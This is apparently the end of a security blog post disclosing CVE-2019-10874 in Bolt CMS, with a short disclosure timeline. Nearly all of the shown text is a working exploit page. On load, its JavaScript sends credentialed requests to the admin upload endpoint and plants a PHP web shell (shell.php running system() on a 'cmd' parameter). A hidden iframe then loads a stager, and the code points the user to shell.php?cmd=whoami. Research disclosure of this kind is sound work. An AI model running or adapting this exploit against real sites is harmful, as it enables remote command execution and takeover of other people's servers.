our+webhost+does+not+support+SMTP%2C+sign+up+for+a+(free)+Sparkpost%0D%0A%23+account+at+https%3A%2F%2Fwww.sparkpost.com%2Fpricing%2F+for+sending+emails+reliably.%0D%0A%23%0D%0A%23+The+mail+defaults+use+bolt%40yourhostname+with+the+site+title+as+a+default.%0D%0A%23+Override+this+with+the+senderName+and+senderMail+fields%0D%0A%0D%0A%23+mailoptions%3A%0D%0A%23+++++transport%3A+smtp%0D%0A%23+++++spool%3A+true%0D%0A%23+++++host%3A+localhost%0D%0A%23+++++port%3A+25%0D%0A%23+++++username%3A+username%0D%0A%23+++++password%3A+password%0D%0A%23+++++encryption%3A+null%0D%0A%23+++++auth_mode%3A+null%0D%0A%23+++++senderMail%3A+null%0D%0A%23+++++senderName%3A+null%0D%0A%0D%0A%23+mailoptions%3A%0D%0A%23+++++transport%3A+mail%0D%0A%23+++++spool%3A+false%0D%0A%0D%0A%23+Bolt+allows+some+modifications+to+how+\\\'strict\\\'+login+sessions+are.+For+every%0D%0A%23+option+that+is+set+to+true%2C+it+becomes+harder+for+a+bad-willing+person+to%0D%0A%23+spoof+your+login+session.+However%2C+it+also+requires+you+to+re-authenticate%0D%0A%23+more+often+if+you+change+location(ip-address)+or+your+browser+has+frequent%0D%0A%23+upgrades.+Only+change+these+if+you+know+what+you\\\'re+doing%2C+and+you\\\'re+having%0D%0A%23+issues+with+the+default+settings.%0D%0A%23%0D%0A%23+Note%3A+If+you+change+any+of+these%2C+all+current+users+will+automatically+be%0D%0A%23+++++++logged+off.%0D%0Acookies_use_remoteaddr%3A+true%0D%0Acookies_use_browseragent%3A+false%0D%0Acookies_use_httphost%3A+true%0D%0A%0D%0A%23+The+length+of+time+a+user+stays+\\\'logged+in\\\'.+Change+to+0+to+end+the+session%0D%0A%23+when+the+browser+is+closed.%0D%0A%23%0D%0A%23+The+default+is+1209600+(two+weeks%2C+in+seconds).%0D%0Acookies_lifetime%3A+1209600%0D%0A%0D%0A%23+Set+the+session+cookie+to+a+specific+domain.+Leave+blank%2C+unless+you+know+what%0D%0A%23+you\\\'re+doing.%0D%0A%23%0D%0A%23+When+set+incorrectly%2C+you+might+not+be+able+to+log+on+at+all.%0D%0A%23%0D%0A%23+If+you\\\'d+like+it+to+be+valid+for+all+subdomains+of+\\\'www.example.org\\\'%2C+set+this%0D%0A%23+to+\\\'.example.org\\\'.%0D%0Acookies_domain%3A%0D%0A%0D%0A%23+The+hash_strength+determines+the+amount+of+iterations+for+encrypting%0D%0A%23+passwords.%0D%0A%23%0D%0A%23+A+higher+number+means+a+harder+to+decrypt+password%2C+but+takes+longer+to%0D%0A%23+compute.+\\\'8\\\'+is+the+minimum%2C+\\\'10\\\'+is+the+default%2C+\\\'12\\\'+is+better.%0D%0Ahash_strength%3A+10%0D%0A%0D%0A%23+Bolt+sets+the+%60X-Frame-Options%60+and+%60Frame-Options%60+to+%60SAMEORIGIN%60+by%0D%0A%23+default%2C+to+prevent+the+web+browser+from+rendering+an+iframe+if+origin%0D%0A%23+mismatch+(i.e.+iframe+source+refers+to+a+different+domain).%0D%0A%23%0D%0A%23+Setting+this+to+\\\'false\\\'%2C+will+prevent+the+setting+of+these+headers.%0D%0A%23+headers%3A%0D%0A%23+++++x_frame_options%3A+true%0D%0A%0D%0A%23+Bolt+uses+market.bolt.cm+to+fetch+it\\\'s+extensions+by+default.+You+can%0D%0A%23+change+that+URL+here.%0D%0A%23%0D%0A%23+Do+not+change+this%2C+unless+you+know+what+you\\\'re+doing%2C+and+understand+the%0D%0A%23+associated+risks.+If+you+use+\\\'http%3A%2F%2Fmarket.bolt.cm\\\'%2C+Bolt+will+not+use%0D%0A%23+SSL%2C+increasing+the+risk+for+a+MITM+attacks.%0D%0A%23+extensions%3A%0D%0A%23+++++site%3A+\\\'https%3A%2F%2Fmarket.bolt.cm%2F\\\'%0D%0A%23+++++enabled%3A+true%0D%0A%23+++++composer%3A%0D%0A%23+++++++++minimum-stability%3A+stable++++++%23+Either+\\\'stable\\\'%2C+\\\'beta\\\'%2C+or+\\\'dev\\\'.+Setting+\\\'dev\\\'+will+allow+you+to+install+dev-master+versions+of+extensions.%0D%0A%23+++++++++prefer-stable%3A+true++++++++++++%23+Prefer+stable+releases+over+development+ones%0D%0A%23+++++++++prefer-dist%3A+true++++++++++++++%23+Forces+installation+from+package+dist+even+for+dev+versions.%0D%0A%23+++++++++prefer-source%3A+false+++++++++++%23+Forces+installation+from+package+sources+when+possible%2C+including+VCS+information.%0D%0A%23+++++++++config%3A%0D%0A%23+++++++++++++optimize-autoloader%3A+false+++++%23+Optimize+autoloader+during+autoloader+dump.%0D%0A%23+++++++++++++classmap-authoritative%3A+false++%23+Autoload+classes+from+the+classmap+only.+Implicitly+enables+%60optimize-autoloader%60.%0D%0A%0D%0A%23+Enforcing+the+use+of+SSL.+If+set%2C+all+pages+will+enforce+an+SSL+connection%2C%0D%0A%23+and+redirect+to+HTTPS+if+you+attempt+to+visit+plain+HTTP+pages.%0D%0A%23+enforce_ssl%3A+true%0D%0A%0D%0A%23+If+configured%2C+Bolt+will+trust+X-Forwarded-XXX+headers+from+the+listed+IP%0D%0A%23+addresses+and+ranges+when+determining+whether+the+current+request+is%0D%0A%23+\\\'secure\\\'.%0D%0A%23%0D%0A%23+This+is+required+to+correctly+determine+the+current+hostname+and+protocol%0D%0A%23+(HTTP+vs.+HTTPS)+when+running+behind+some+proxy%2C+e.g.+a+load+balancer%2C+cache%2C%0D%0A%23+or+SSL+proxy.%0D%0A%23%0D%0A%23+List+the+IP+addresses+or+subnets+that+you+know+are+such+proxies.%0D%0A%23%0D%0A%23+Note%3A+Allowing+hosts+here+that+may+not+be+trusted+proxies+is+a+security+risk.%0D%0A%23+++++++If+you+do+not+understand+what+this+does%2C+it+is+probably+best+to+not%0D%0A%23+++++++touch+it.%0D%0A%23+trustProxies%3A%0D%0A%23+++++-+127.0.0.1%0D%0A%23+++++-+10.0.0.0%2F8%0D%0A%0D%0A%23+If+you+want+Bolt+installation+get+news+through+a+proxy%0D%0A%23+httpProxy%3A%0D%0A%23+++++host%3A+scheme%3A%2F%2Fmy.proxy.server%3Aport%0D%0A%23+++++user%3A+%5Busr%5D%0D%0A%23+++++password%3A+%5Bpwd%5D%0D%0A%0D%0A%23+Options+for+backend+user+interface%0D%0A%23+backend%3A%0D%0A%23++++news%3A%0D%0A%23++++++++disable%3A+true+++++%23+Disable+news+panel.+Defaults+to+false.+%22Alerts%22+will+still+be+shown.%0D%0A%23++++stack%3A%0D%0A%23++++++++disable%3A+true+++++%23+Disable+stack+usage.+Defaults+to+false.%0D%0A%0D%0A%23+Options+that+will+be+forced+in+next+major+version%0D%0Acompatibility%3A%0D%0A++++%23+Whether+to+return+TemplateView+instead+of+TemplateResponse+from+Controller%5CBase%3A%3Arender()%0D%0A++++%23+Response+methods+cannot+be+used+on+TemplateView+objects.%0D%0A++++%23+Setting+this+value+to+false+is+deprecated.%0D%0A++++template_view%3A+true%0D%0A++++%23+Set+to+\\\'false\\\'+to+enable+using+a+newer+version+of+the+setcontent+parser.%0D%0A++++setcontent_legacy%3A+true%0D%0A&file_edit%5Bsave%5D=undefined\\n\";\r\n" + 
          "            var aBody = new Uint8Array(body.length);\r\n" + 
          "            for (var i = 0; i \x3c aBody.length; i++)\r\n" + 
          "              aBody[i] = body.charCodeAt(i); \r\n" + 
          "            xhr.send(new Blob([aBody]));\r\n" + 
          "        }\r\n" + 
          "\r\n" + 
          "        function UploadShell() {\r\n" + 
          "            var xhr = new XMLHttpRequest();\r\n" + 
          "            xhr.open(\"POST\", bolt_admin_url + \"/upload\", true);\r\n" + 
          "            xhr.setRequestHeader(\"Accept\", \"application\\/json, text\\/javascript, *\\/*; q=0.01\");\r\n" + 
          "            xhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");\r\n" + 
          "            xhr.setRequestHeader(\"Content-Type\", \"multipart\\/form-data; boundary=---------------------------130713229751679908527494159\");\r\n" + 
          "            xhr.withCredentials = true;\r\n" + 
          "            var body = \"-----------------------------130713229751679908527494159\\r\\n\" + \r\n" + 
          "              \"Content-Disposition: form-data; name=\\\"files[]\\\"; filename=\\\"shell.php\\\"\\r\\n\" + \r\n" + 
          "              \"Content-Type: text/plain\\r\\n\" + \r\n" + 
          "              \"\\r\\n\" + \r\n" + 
          "              \"\\x3c?php echo(system($_GET[\\\'cmd\\\'])); ?\\x3e\\n\" + \r\n" + 
          "              \"\\r\\n\" + \r\n" + 
          "              \"-----------------------------130713229751679908527494159--\\r\\n\";\r\n" + 
          "            var aBody = new Uint8Array(body.length);\r\n" + 
          "            for (var i = 0; i \x3c aBody.length; i++)\r\n" + 
          "              aBody[i] = body.charCodeAt(i); \r\n" + 
          "            xhr.send(new Blob([aBody]));\r\n" + 
          "        }\r\n" + 
          "    }\r\n" + 
          "\r\n" + 
          "    exploit();\r\n" + 
          "\r\n" + 
          "\x3c/script\x3e\r\n" + 
          "\n" + 
          "\r\n" + 
          "-----------------------------130713229751679908527494159--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));

        setTimeout(function() {
            var dateObj = new Date();
            var folder = dateObj.getFullYear() + "-" + (String("00"+(dateObj.getMonth()+1)).slice(-2));
            document.getElementById('stager').src = target + "/files/"+folder+"/stager.html";
            console.log("Called stager! Wait a moment and access: " + target + "/files/" + folder + "/shell.php?cmd=whoami");
         }, 2000);

      }

      window.onload = function() {
        exploit();
      };

    </script>
     <iframe id="stager" style="width:0;height:0;border:0;border:none" src=""></iframe>
  </body>
</html>

Disclosure Timeline

  • 2019/04/02 - Vulnerabilities Discovered
  • 2019/04/03 - Vulnerabilities Reported to Bolt CMS (CVE-2019-10874)
  • 2019/04/03 - Developer Acknowledged Vulnerability and started to address issues (first Pull)
  • 2019/04/11 - Version 3.6.7 released (link)
This post is licensed under CC BY 4.0 by the author.

Trending Tags